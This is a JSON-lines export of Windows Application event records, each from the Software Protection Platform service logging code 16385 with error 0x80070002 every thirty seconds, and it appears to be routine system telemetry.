{"@timestamp":1659044313433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173462}}
{"@timestamp":1659044343439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173463}}
{"@timestamp":1659044373445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173464}}
{"@timestamp":1659044403451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173465}}
{"@timestamp":1659044433458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173466}}
{"@timestamp":1659044463464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173467}}
{"@timestamp":1659044493470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173468}}
{"@timestamp":1659044523477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173469}}
{"@timestamp":1659044553482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173470}}
{"@timestamp":1659044583488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173471}}
{"@timestamp":1659044613495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173472}}
{"@timestamp":1659044643501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173473}}
{"@timestamp":1659044673508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173474}}
{"@timestamp":1659044703514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173475}}
{"@timestamp":1659044733520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173476}}
{"@timestamp":1659044763526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173477}}
{"@timestamp":1659044793534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173478}}
{"@timestamp":1659044823541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173479}}
{"@timestamp":1659044853547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173480}}
{"@timestamp":1659044883554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173481}}
{"@timestamp":1659044913560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173482}}
{"@timestamp":1659044943566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173483}}
{"@timestamp":1659044973572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173484}}
{"@timestamp":1659045003578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173485}}
{"@timestamp":1659045033585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173486}}
{"@timestamp":1659045063591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173487}}
{"@timestamp":1659045093598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173488}}
{"@timestamp":1659045123605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173489}}
{"@timestamp":1659045153613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173490}}
{"@timestamp":1659045183620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173491}}
{"@timestamp":1659045213626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173492}}
{"@timestamp":1659045243634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173493}}
{"@timestamp":1659045273641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173494}}
{"@timestamp":1659045303647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173495}}
{"@timestamp":1659045333653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173496}}
{"@timestamp":1659045363659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173497}}
{"@timestamp":1659045393665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173498}}
{"@timestamp":1659045423672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173499}}
{"@timestamp":1659045453679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173500}}
{"@timestamp":1659045483687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173501}}
{"@timestamp":1659045513694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173502}}
{"@timestamp":1659045543700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173503}}
{"@timestamp":1659045573706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173504}}
{"@timestamp":1659045603713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173505}}
{"@timestamp":1659045633719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173506}}
{"@timestamp":1659045663725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173507}}
{"@timestamp":1659045693731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173508}}
{"@timestamp":1659045723740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173509}}
{"@timestamp":1659045753745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173510}}
{"@timestamp":1659045783751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173511}}
{"@timestamp":1659045813756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173512}}
{"@timestamp":1659045843762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173513}}
{"@timestamp":1659045873767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173514}}
{"@timestamp":1659045903773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173515}}
{"@timestamp":1659045933779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173516}}
{"@timestamp":1659045963785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173517}}
{"@timestamp":1659045993791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173518}}
{"@timestamp":1659046023798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173519}}
{"@timestamp":1659046053804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173520}}
{"@timestamp":1659046083809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173521}}
{"@timestamp":1659046113815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173522}}
{"@timestamp":1659046143821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173523}}
{"@timestamp":1659046173828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173524}}
{"@timestamp":1659046203834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173525}}
{"@timestamp":1659046233839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173526}}
{"@timestamp":1659046263847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173527}}
{"@timestamp":1659046293852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173528}}
{"@timestamp":1659046323859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173529}}
{"@timestamp":1659046353867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173530}}
{"@timestamp":1659046383873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173531}}
{"@timestamp":1659046413879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173532}}
{"@timestamp":1659046443885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173533}}
{"@timestamp":1659046473891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173534}}
{"@timestamp":1659046503897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173535}}
{"@timestamp":1659046533903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173536}}
{"@timestamp":1659046563909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173537}}
{"@timestamp":1659046593916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173538}}
{"@timestamp":1659046623924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173539}}
{"@timestamp":1659046653931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173540}}
{"@timestamp":1659046683937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173541}}
{"@timestamp":1659046713944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173542}}
{"@timestamp":1659046743951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173543}}
{"@timestamp":1659046773957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173544}}
{"@timestamp":1659046803964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173545}}
{"@timestamp":1659046833971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173546}}
{"@timestamp":1659046863978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173547}}
{"@timestamp":1659046893986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173548}}
{"@timestamp":1659046923993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173549}}
{"@timestamp":1659046953999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173550}}
{"@timestamp":1659046984007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173551}}
{"@timestamp":1659047014014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173552}}
{"@timestamp":1659047044021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173553}}
{"@timestamp":1659047074028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173554}}
{"@timestamp":1659047104034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173555}}
{"@timestamp":1659047134041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173556}}
{"@timestamp":1659047164048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173557}}
{"@timestamp":1659047194056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173558}}
{"@timestamp":1659047224062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173559}}
{"@timestamp":1659047254068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173560}}
{"@timestamp":1659047284074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173561}}
{"@timestamp":1659047314083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173562}}
{"@timestamp":1659047344090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173563}}
{"@timestamp":1659047374096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173564}}
{"@timestamp":1659047404103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173565}}
{"@timestamp":1659047434109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173566}}
{"@timestamp":1659047464118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173567}}
{"@timestamp":1659047494124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173568}}
{"@timestamp":1659047524130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173569}}
{"@timestamp":1659047554136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173570}}
